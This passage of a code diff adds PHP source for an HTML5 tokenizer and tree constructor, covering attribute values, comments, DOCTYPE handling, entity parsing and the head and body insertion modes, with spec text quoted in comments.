AMPERSAND (&) + Switch to the attribute value (unquoted) state and reconsume + this input character. */ + $this->char--; + $this->state = 'attributeValueUnquoted'; + + } elseif ($char === '\'') { + /* U+0027 APOSTROPHE (') + Switch to the attribute value (single-quoted) state. */ + $this->state = 'attributeValueSingleQuoted'; + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Switch to the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function attributeValueDoubleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if ($char === '"') { + /* U+0022 QUOTATION MARK (") + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('double'); + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (double-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueDoubleQuoted'; + } + } + + private function attributeValueSingleQuotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if ($char === '\'') { + /* U+0022 QUOTATION MARK (') + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState('single'); + + } elseif ($this->char === $this->EOF) { + /* EOF + Parse error. Emit the current tag token. Reconsume the character + in the data state. */ + $this->emitToken($this->token); + + $this->char--; + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (single-quoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueSingleQuoted'; + } + } + + private function attributeValueUnquotedState() + { + // Consume the next input character: + $this->char++; + $char = $this->character($this->char); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + /* U+0009 CHARACTER TABULATION + U+000A LINE FEED (LF) + U+000B LINE TABULATION + U+000C FORM FEED (FF) + U+0020 SPACE + Switch to the before attribute name state. */ + $this->state = 'beforeAttributeName'; + + } elseif ($char === '&') { + /* U+0026 AMPERSAND (&) + Switch to the entity in attribute value state. */ + $this->entityInAttributeValueState(); + + } elseif ($char === '>') { + /* U+003E GREATER-THAN SIGN (>) + Emit the current tag token. Switch to the data state. */ + $this->emitToken($this->token); + $this->state = 'data'; + + } else { + /* Anything else + Append the current input character to the current attribute's value. + Stay in the attribute value (unquoted) state. */ + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + + $this->state = 'attributeValueUnquoted'; + } + } + + private function entityInAttributeValueState() + { + // Attempt to consume an entity. + $entity = $this->entity(); + + // If nothing is returned, append a U+0026 AMPERSAND character to the + // current attribute's value. Otherwise, emit the character token that + // was returned. + $char = (!$entity) + ? '&' + : $entity; + + $last = count($this->token['attr']) - 1; + $this->token['attr'][$last]['value'] .= $char; + } + + private function bogusCommentState() + { + /* Consume every character up to the first U+003E GREATER-THAN SIGN + character (>) or the end of the file (EOF), whichever comes first. Emit + a comment token whose data is the concatenation of all the characters + starting from and including the character that caused the state machine + to switch into the bogus comment state, up to and including the last + consumed character before the U+003E character, if any, or up to the + end of the file otherwise. (If the comment was started by the end of + the file (EOF), the token is empty.) */ + $data = $this->characters('^>', $this->char); + $this->emitToken( + array( + 'data' => $data, + 'type' => self::COMMENT + ) + ); + + $this->char += strlen($data); + + /* Switch to the data state. */ + $this->state = 'data'; + + /* If the end of the file was reached, reconsume the EOF character. */ + if ($this->char === $this->EOF) { + $this->char = $this->EOF - 1; + } + } + + private function markupDeclarationOpenState() + { + /* If the next two characters are both U+002D HYPHEN-MINUS (-) + characters, consume those two characters, create a comment token whose + data is the empty string, and switch to the comment state. */ + if ($this->character($this->char + 1, 2) === '--') { + $this->char += 2; + $this->state = 'comment'; + $this->token = array( + 'data' => null, + 'type' => self::COMMENT + ); + + /* Otherwise if the next seven chacacters are a case-insensitive match + for the word "DOCTYPE", then consume those characters and switch to the + DOCTYPE state. */ + } elseif (strtolower($this->character($this->char + 1, 7)) === 'doctype') { + $this->char += 7; + $this->state = 'doctype'; + + /* Otherwise, is is a parse error. Switch to the bogus comment state. + The next character that is consumed, if any, is the first character + that will be in the comment. */ + } else { + $this->char++; + $this->state = 'bogusComment'; + } + } + + private function commentState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if ($char === '-') { + /* Switch to the comment dash state */ + $this->state = 'commentDash'; + + /* EOF */ + } elseif ($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append the input character to the comment token's data. Stay in + the comment state. */ + $this->token['data'] .= $char; + } + } + + private function commentDashState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + /* U+002D HYPHEN-MINUS (-) */ + if ($char === '-') { + /* Switch to the comment end state */ + $this->state = 'commentEnd'; + + /* EOF */ + } elseif ($this->char === $this->EOF) { + /* Parse error. Emit the comment token. Reconsume the EOF character + in the data state. */ + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + /* Anything else */ + } else { + /* Append a U+002D HYPHEN-MINUS (-) character and the input + character to the comment token's data. Switch to the comment state. */ + $this->token['data'] .= '-' . $char; + $this->state = 'comment'; + } + } + + private function commentEndState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($char === '-') { + $this->token['data'] .= '-'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['data'] .= '--' . $char; + $this->state = 'comment'; + } + } + + private function doctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'beforeDoctypeName'; + + } else { + $this->char--; + $this->state = 'beforeDoctypeName'; + } + } + + private function beforeDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the before DOCTYPE name state. + + } elseif (preg_match('/^[a-z]$/', $char)) { + $this->token = array( + 'name' => strtoupper($char), + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + + } elseif ($char === '>') { + $this->emitToken( + array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + ) + ); + + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken( + array( + 'name' => null, + 'type' => self::DOCTYPE, + 'error' => true + ) + ); + + $this->char--; + $this->state = 'data'; + + } else { + $this->token = array( + 'name' => $char, + 'type' => self::DOCTYPE, + 'error' => true + ); + + $this->state = 'doctypeName'; + } + } + + private function doctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + $this->state = 'AfterDoctypeName'; + + } elseif ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif (preg_match('/^[a-z]$/', $char)) { + $this->token['name'] .= strtoupper($char); + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['name'] .= $char; + } + + $this->token['error'] = ($this->token['name'] === 'HTML') + ? false + : true; + } + + private function afterDoctypeNameState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if (preg_match('/^[\t\n\x0b\x0c ]$/', $char)) { + // Stay in the DOCTYPE name state. + + } elseif ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + $this->token['error'] = true; + $this->state = 'bogusDoctype'; + } + } + + private function bogusDoctypeState() + { + /* Consume the next input character: */ + $this->char++; + $char = $this->char(); + + if ($char === '>') { + $this->emitToken($this->token); + $this->state = 'data'; + + } elseif ($this->char === $this->EOF) { + $this->emitToken($this->token); + $this->char--; + $this->state = 'data'; + + } else { + // Stay in the bogus DOCTYPE state. + } + } + + private function entity() + { + $start = $this->char; + + // This section defines how to consume an entity. This definition is + // used when parsing entities in text and in attributes. + + // The behaviour depends on the identity of the next character (the + // one immediately after the U+0026 AMPERSAND character): + + switch ($this->character($this->char + 1)) { + // U+0023 NUMBER SIGN (#) + case '#': + + // The behaviour further depends on the character after the + // U+0023 NUMBER SIGN: + switch ($this->character($this->char + 1)) { + // U+0078 LATIN SMALL LETTER X + // U+0058 LATIN CAPITAL LETTER X + case 'x': + case 'X': + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE, U+0061 LATIN SMALL LETTER A through to U+0066 + // LATIN SMALL LETTER F, and U+0041 LATIN CAPITAL LETTER + // A, through to U+0046 LATIN CAPITAL LETTER F (in other + // words, 0-9, A-F, a-f). + $char = 1; + $char_class = '0-9A-Fa-f'; + break; + + // Anything else + default: + // Follow the steps below, but using the range of + // characters U+0030 DIGIT ZERO through to U+0039 DIGIT + // NINE (i.e. just 0-9). + $char = 0; + $char_class = '0-9'; + break; + } + + // Consume as many characters as match the range of characters + // given above. + $this->char++; + $e_name = $this->characters($char_class, $this->char + $char + 1); + $entity = $this->character($start, $this->char); + $cond = strlen($e_name) > 0; + + // The rest of the parsing happens bellow. + break; + + // Anything else + default: + // Consume the maximum number of characters possible, with the + // consumed characters case-sensitively matching one of the + // identifiers in the first column of the entities table. + $e_name = $this->characters('0-9A-Za-z;', $this->char + 1); + $len = strlen($e_name); + + for ($c = 1; $c <= $len; $c++) { + $id = substr($e_name, 0, $c); + $this->char++; + + if (in_array($id, $this->entities)) { + if ($e_name[$c - 1] !== ';') { + if ($c < $len && $e_name[$c] == ';') { + $this->char++; // consume extra semicolon + } + } + $entity = $id; + break; + } + } + + $cond = isset($entity); + // The rest of the parsing happens bellow. + break; + } + + if (!$cond) { + // If no match can be made, then this is a parse error. No + // characters are consumed, and nothing is returned. + $this->char = $start; + return false; + } + + // Return a character token for the character corresponding to the + // entity name (as given by the second column of the entities table). + return html_entity_decode('&' . $entity . ';', ENT_QUOTES, 'UTF-8'); + } + + private function emitToken($token) + { + $emit = $this->tree->emitToken($token); + + if (is_int($emit)) { + $this->content_model = $emit; + + } elseif ($token['type'] === self::ENDTAG) { + $this->content_model = self::PCDATA; + } + } + + private function EOF() + { + $this->state = null; + $this->tree->emitToken( + array( + 'type' => self::EOF + ) + ); + } +} + +class HTML5TreeConstructer +{ + public $stack = array(); + + private $phase; + private $mode; + private $dom; + private $foster_parent = null; + private $a_formatting = array(); + + private $head_pointer = null; + private $form_pointer = null; + + private $scoping = array('button', 'caption', 'html', 'marquee', 'object', 'table', 'td', 'th'); + private $formatting = array( + 'a', + 'b', + 'big', + 'em', + 'font', + 'i', + 'nobr', + 's', + 'small', + 'strike', + 'strong', + 'tt', + 'u' + ); + private $special = array( + 'address', + 'area', + 'base', + 'basefont', + 'bgsound', + 'blockquote', + 'body', + 'br', + 'center', + 'col', + 'colgroup', + 'dd', + 'dir', + 'div', + 'dl', + 'dt', + 'embed', + 'fieldset', + 'form', + 'frame', + 'frameset', + 'h1', + 'h2', + 'h3', + 'h4', + 'h5', + 'h6', + 'head', + 'hr', + 'iframe', + 'image', + 'img', + 'input', + 'isindex', + 'li', + 'link', + 'listing', + 'menu', + 'meta', + 'noembed', + 'noframes', + 'noscript', + 'ol', + 'optgroup', + 'option', + 'p', + 'param', + 'plaintext', + 'pre', + 'script', + 'select', + 'spacer', + 'style', + 'tbody', + 'textarea', + 'tfoot', + 'thead', + 'title', + 'tr', + 'ul', + 'wbr' + ); + + // The different phases. + const INIT_PHASE = 0; + const ROOT_PHASE = 1; + const MAIN_PHASE = 2; + const END_PHASE = 3; + + // The different insertion modes for the main phase. + const BEFOR_HEAD = 0; + const IN_HEAD = 1; + const AFTER_HEAD = 2; + const IN_BODY = 3; + const IN_TABLE = 4; + const IN_CAPTION = 5; + const IN_CGROUP = 6; + const IN_TBODY = 7; + const IN_ROW = 8; + const IN_CELL = 9; + const IN_SELECT = 10; + const AFTER_BODY = 11; + const IN_FRAME = 12; + const AFTR_FRAME = 13; + + // The different types of elements. + const SPECIAL = 0; + const SCOPING = 1; + const FORMATTING = 2; + const PHRASING = 3; + + const MARKER = 0; + + public function __construct() + { + $this->phase = self::INIT_PHASE; + $this->mode = self::BEFOR_HEAD; + $this->dom = new DOMDocument; + + $this->dom->encoding = 'UTF-8'; + $this->dom->preserveWhiteSpace = true; + $this->dom->substituteEntities = true; + $this->dom->strictErrorChecking = false; + } + + // Process tag tokens + public function emitToken($token) + { + switch ($this->phase) { + case self::INIT_PHASE: + return $this->initPhase($token); + break; + case self::ROOT_PHASE: + return $this->rootElementPhase($token); + break; + case self::MAIN_PHASE: + return $this->mainPhase($token); + break; + case self::END_PHASE : + return $this->trailingEndPhase($token); + break; + } + } + + private function initPhase($token) + { + /* Initially, the tree construction stage must handle each token + emitted from the tokenisation stage as follows: */ + + /* A DOCTYPE token that is marked as being in error + A comment token + A start tag token + An end tag token + A character token that is not one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE + An end-of-file token */ + if ((isset($token['error']) && $token['error']) || + $token['type'] === HTML5::COMMENT || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF || + ($token['type'] === HTML5::CHARACTR && isset($token['data']) && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) + ) { + /* This specification does not define how to handle this case. In + particular, user agents may ignore the entirety of this specification + altogether for such documents, and instead invoke special parse modes + with a greater emphasis on backwards compatibility. */ + + $this->phase = self::ROOT_PHASE; + return $this->rootElementPhase($token); + + /* A DOCTYPE token marked as being correct */ + } elseif (isset($token['error']) && !$token['error']) { + /* Append a DocumentType node to the Document node, with the name + attribute set to the name given in the DOCTYPE token (which will be + "HTML"), and the other attributes specific to DocumentType objects + set to null, empty lists, or the empty string as appropriate. */ + $doctype = new DOMDocumentType(null, null, 'HTML'); + + /* Then, switch to the root element phase of the tree construction + stage. */ + $this->phase = self::ROOT_PHASE; + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif (isset($token['data']) && preg_match( + '/^[\t\n\x0b\x0c ]+$/', + $token['data'] + ) + ) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + } + } + + private function rootElementPhase($token) + { + /* After the initial phase, as each token is emitted from the tokenisation + stage, it must be processed as described in this section. */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the Document object with the data + attribute set to the data given in the comment token. */ + $comment = $this->dom->createComment($token['data']); + $this->dom->appendChild($comment); + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + } elseif ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append that character to the Document node. */ + $text = $this->dom->createTextNode($token['data']); + $this->dom->appendChild($text); + + /* A character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED + (FF), or U+0020 SPACE + A start tag token + An end tag token + An end-of-file token */ + } elseif (($token['type'] === HTML5::CHARACTR && + !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || + $token['type'] === HTML5::STARTTAG || + $token['type'] === HTML5::ENDTAG || + $token['type'] === HTML5::EOF + ) { + /* Create an HTMLElement node with the tag name html, in the HTML + namespace. Append it to the Document object. Switch to the main + phase and reprocess the current token. */ + $html = $this->dom->createElement('html'); + $this->dom->appendChild($html); + $this->stack[] = $html; + + $this->phase = self::MAIN_PHASE; + return $this->mainPhase($token); + } + } + + private function mainPhase($token) + { + /* Tokens in the main phase must be handled as follows: */ + + /* A DOCTYPE token */ + if ($token['type'] === HTML5::DOCTYPE) { + // Parse error. Ignore the token. + + /* A start tag token with the tag name "html" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { + /* If this start tag token was not the first start tag token, then + it is a parse error. */ + + /* For each attribute on the token, check to see if the attribute + is already present on the top element of the stack of open elements. + If it is not, add the attribute and its corresponding value to that + element. */ + foreach ($token['attr'] as $attr) { + if (!$this->stack[0]->hasAttribute($attr['name'])) { + $this->stack[0]->setAttribute($attr['name'], $attr['value']); + } + } + + /* An end-of-file token */ + } elseif ($token['type'] === HTML5::EOF) { + /* Generate implied end tags. */ + $this->generateImpliedEndTags(); + + /* Anything else. */ + } else { + /* Depends on the insertion mode: */ + switch ($this->mode) { + case self::BEFOR_HEAD: + return $this->beforeHead($token); + break; + case self::IN_HEAD: + return $this->inHead($token); + break; + case self::AFTER_HEAD: + return $this->afterHead($token); + break; + case self::IN_BODY: + return $this->inBody($token); + break; + case self::IN_TABLE: + return $this->inTable($token); + break; + case self::IN_CAPTION: + return $this->inCaption($token); + break; + case self::IN_CGROUP: + return $this->inColumnGroup($token); + break; + case self::IN_TBODY: + return $this->inTableBody($token); + break; + case self::IN_ROW: + return $this->inRow($token); + break; + case self::IN_CELL: + return $this->inCell($token); + break; + case self::IN_SELECT: + return $this->inSelect($token); + break; + case self::AFTER_BODY: + return $this->afterBody($token); + break; + case self::IN_FRAME: + return $this->inFrameset($token); + break; + case self::AFTR_FRAME: + return $this->afterFrameset($token); + break; + case self::END_PHASE: + return $this->trailingEndPhase($token); + break; + } + } + } + + private function beforeHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "head" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { + /* Create an element for the token, append the new element to the + current node and push it onto the stack of open elements. */ + $element = $this->insertElement($token); + + /* Set the head element pointer to this new element node. */ + $this->head_pointer = $element; + + /* Change the insertion mode to "in head". */ + $this->mode = self::IN_HEAD; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title". Or an end tag with the tag name "html". + Or a character token that is not one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. Or any other start tag token */ + } elseif ($token['type'] === HTML5::STARTTAG || + ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || + ($token['type'] === HTML5::CHARACTR && !preg_match( + '/^[\t\n\x0b\x0c ]$/', + $token['data'] + )) + ) { + /* Act as if a start tag token with the tag name "head" and no + attributes had been seen, then reprocess the current token. */ + $this->beforeHead( + array( + 'name' => 'head', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inHead($token); + + /* Any other end tag */ + } elseif ($token['type'] === HTML5::ENDTAG) { + /* Parse error. Ignore the token. */ + } + } + + private function inHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE. + + THIS DIFFERS FROM THE SPEC: If the current node is either a title, style + or script element, append the character to the current node regardless + of its content. */ + if (($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( + $token['type'] === HTML5::CHARACTR && in_array( + end($this->stack)->nodeName, + array('title', 'style', 'script') + )) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + } elseif ($token['type'] === HTML5::ENDTAG && + in_array($token['name'], array('title', 'style', 'script')) + ) { + array_pop($this->stack); + return HTML5::PCDATA; + + /* A start tag with the tag name "title" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $element = $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the RCDATA state. */ + return HTML5::RCDATA; + + /* A start tag with the tag name "style" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + } else { + $this->insertElement($token); + } + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "script" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { + /* Create an element for the token. */ + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + + /* Switch the tokeniser's content model flag to the CDATA state. */ + return HTML5::CDATA; + + /* A start tag with the tag name "base", "link", or "meta" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('base', 'link', 'meta') + ) + ) { + /* Create an element for the token and append the new element to the + node pointed to by the head element pointer, or, if that is null + (innerHTML case), to the current node. */ + if ($this->head_pointer !== null) { + $element = $this->insertElement($token, false); + $this->head_pointer->appendChild($element); + array_pop($this->stack); + + } else { + $this->insertElement($token); + } + + /* An end tag with the tag name "head" */ + } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { + /* If the current node is a head element, pop the current node off + the stack of open elements. */ + if ($this->head_pointer->isSameNode(end($this->stack))) { + array_pop($this->stack); + + /* Otherwise, this is a parse error. */ + } else { + // k + } + + /* Change the insertion mode to "after head". */ + $this->mode = self::AFTER_HEAD; + + /* A start tag with the tag name "head" or an end tag except "html". */ + } elseif (($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || + ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html') + ) { + // Parse error. Ignore the token. + + /* Anything else */ + } else { + /* If the current node is a head element, act as if an end tag + token with the tag name "head" had been seen. */ + if ($this->head_pointer->isSameNode(end($this->stack))) { + $this->inHead( + array( + 'name' => 'head', + 'type' => HTML5::ENDTAG + ) + ); + + /* Otherwise, change the insertion mode to "after head". */ + } else { + $this->mode = self::AFTER_HEAD; + } + + /* Then, reprocess the current token. */ + return $this->afterHead($token); + } + } + + private function afterHead($token) + { + /* Handle the token as follows: */ + + /* A character token that is one of one of U+0009 CHARACTER TABULATION, + U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), + or U+0020 SPACE */ + if ($token['type'] === HTML5::CHARACTR && + preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data']) + ) { + /* Append the character to the current node. */ + $this->insertText($token['data']); + + /* A comment token */ + } elseif ($token['type'] === HTML5::COMMENT) { + /* Append a Comment node to the current node with the data attribute + set to the data given in the comment token. */ + $this->insertComment($token['data']); + + /* A start tag token with the tag name "body" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { + /* Insert a body element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in body". */ + $this->mode = self::IN_BODY; + + /* A start tag token with the tag name "frameset" */ + } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { + /* Insert a frameset element for the token. */ + $this->insertElement($token); + + /* Change the insertion mode to "in frameset". */ + $this->mode = self::IN_FRAME; + + /* A start tag token whose tag name is one of: "base", "link", "meta", + "script", "style", "title" */ + } elseif ($token['type'] === HTML5::STARTTAG && in_array( + $token['name'], + array('base', 'link', 'meta', 'script', 'style', 'title') + ) + ) { + /* Parse error. Switch the insertion mode back to "in head" and + reprocess the token. */ + $this->mode = self::IN_HEAD; + return $this->inHead($token); + + /* Anything else */ + } else { + /* Act as if a start tag token with the tag name "body" and no + attributes had been seen, and then reprocess the current token. */ + $this->afterHead( + array( + 'name' => 'body', + 'type' => HTML5::STARTTAG, + 'attr' => array() + ) + ); + + return $this->inBody($token); + } + } + + private function inBody($token) + { + /* Handle the token as follows: */ + + switch ($token['type']) { + /* A character token */ + case HTML5::CHARACTR: + /* Reconstruct the active formatting elements, if any. */ + $this->reconstructActiveFormattingElements(); + + /* Append the token's character to the current node. */ + $this->insertText($token['data']); + break; + + /* A comment token */ + case HTML5::COMMENT: + /* Append a Comment node to the current node with the data + attribute set to the data given in the comment token. */ + $this->insertComment($token['data']); + break; + + case HTML5::STARTTAG: + switch ($token['name']) { + /* A start tag token whose tag name is one of: "script", + "style" */ + case 'script': + case 'style': + /* Process the token as if the insertion mode had been "in + head". */ + return $this->inHead($token); + break; + + /* A start tag token whose tag name is one of: "base", "link", + "meta", "title" */ + case 'base': + case 'link': + case 'meta': + case 'title': + /* Parse error. Process the token as if the insertion mode + had been "in head". */ + return $this->inHead($token); + break; + + /* A start tag token with the tag name "body" */ + case 'body': + /* Parse error. If the second element on the stack of open + elements is not a body element, or, if the stack of open + elements has only one node on it, then ignore the token. + (innerHTML case) */ + if (count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { + // Ignore + + /* Otherwise, for each attribute on the token, check to see + if the attribute is already present on the body element (the + second element) on the stack of open elements. If it is not, + add the attribute and its corresponding value to that + element. */ + } else { + foreach ($token['attr'] as $attr) { + if (!$this->stack[1]->hasAttribute($attr['name'])) { + $this->stack[1]->setAttribute($attr['name'], $attr['value']); + } + } + } + break; + + /* A start tag whose tag name is one of: "address", + "blockquote", "center", "dir", "div", "dl", "fieldset", + "listing", "menu", "ol", "p", "ul" */ + case 'address': + case 'blockquote': + case 'center': + case 'dir': + case 'div': + case 'dl': + case 'fieldset': + case 'listing': + case 'menu': + case 'ol': + case 'p': + case 'ul': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + break; + + /* A start tag whose tag name is "form" */ + case 'form': + /* If the form element pointer is not null, ignore the + token with a parse error. */ + if ($this->form_pointer !== null) { + // Ignore. + + /* Otherwise: */ + } else { + /* If the stack of open elements has a p element in + scope, then act as if an end tag with the tag name p + had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token, and set the + form element pointer to point to the element created. */ + $element = $this->insertElement($token); + $this->form_pointer = $element; + } + break; + + /* A start tag whose tag name is "li", "dd" or "dt" */ + case 'li': + case 'dd': + case 'dt': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + $stack_length = count($this->stack) - 1; + + for ($n = $stack_length; 0 <= $n; $n--) { + /* 1. Initialise node to be the current node (the + bottommost node of the stack). */ + $stop = false; + $node = $this->stack[$n]; + $cat = $this->getElementCategory($node->tagName); + + /* 2. If node is an li, dd or dt element, then pop all + the nodes from the current node up to node, including + node, then stop this algorithm. */ + if ($token['name'] === $node->tagName || ($token['name'] !== 'li' + && ($node->tagName === 'dd' || $node->tagName === 'dt')) + ) { + for ($x = $stack_length; $x >= $n; $x--) { + array_pop($this->stack); + } + + break; + } + + /* 3. If node is not in the formatting category, and is + not in the phrasing category, and is not an address or + div element, then stop this algorithm. */ + if ($cat !== self::FORMATTING && $cat !== self::PHRASING && + $node->tagName !== 'address' && $node->tagName !== 'div' + ) { + break; + } + } + + /* Finally, insert an HTML element with the same tag + name as the token's. */ + $this->insertElement($token); + break; + + /* A start tag token whose tag name is "plaintext" */ + case 'plaintext': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been + seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + ) + ); + } + + /* Insert an HTML element for the token. */ + $this->insertElement($token); + + return HTML5::PLAINTEXT; + break; + + /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", + "h5", "h6" */ + case 'h1': + case 'h2': + case 'h3': + case 'h4': + case 'h5': + case 'h6': + /* If the stack of open elements has a p element in scope, + then act as if an end tag with the tag name p had been seen. */ + if ($this->elementInScope('p')) { + $this->emitToken( + array( + 'name' => 'p', + 'type' => HTML5::ENDTAG + 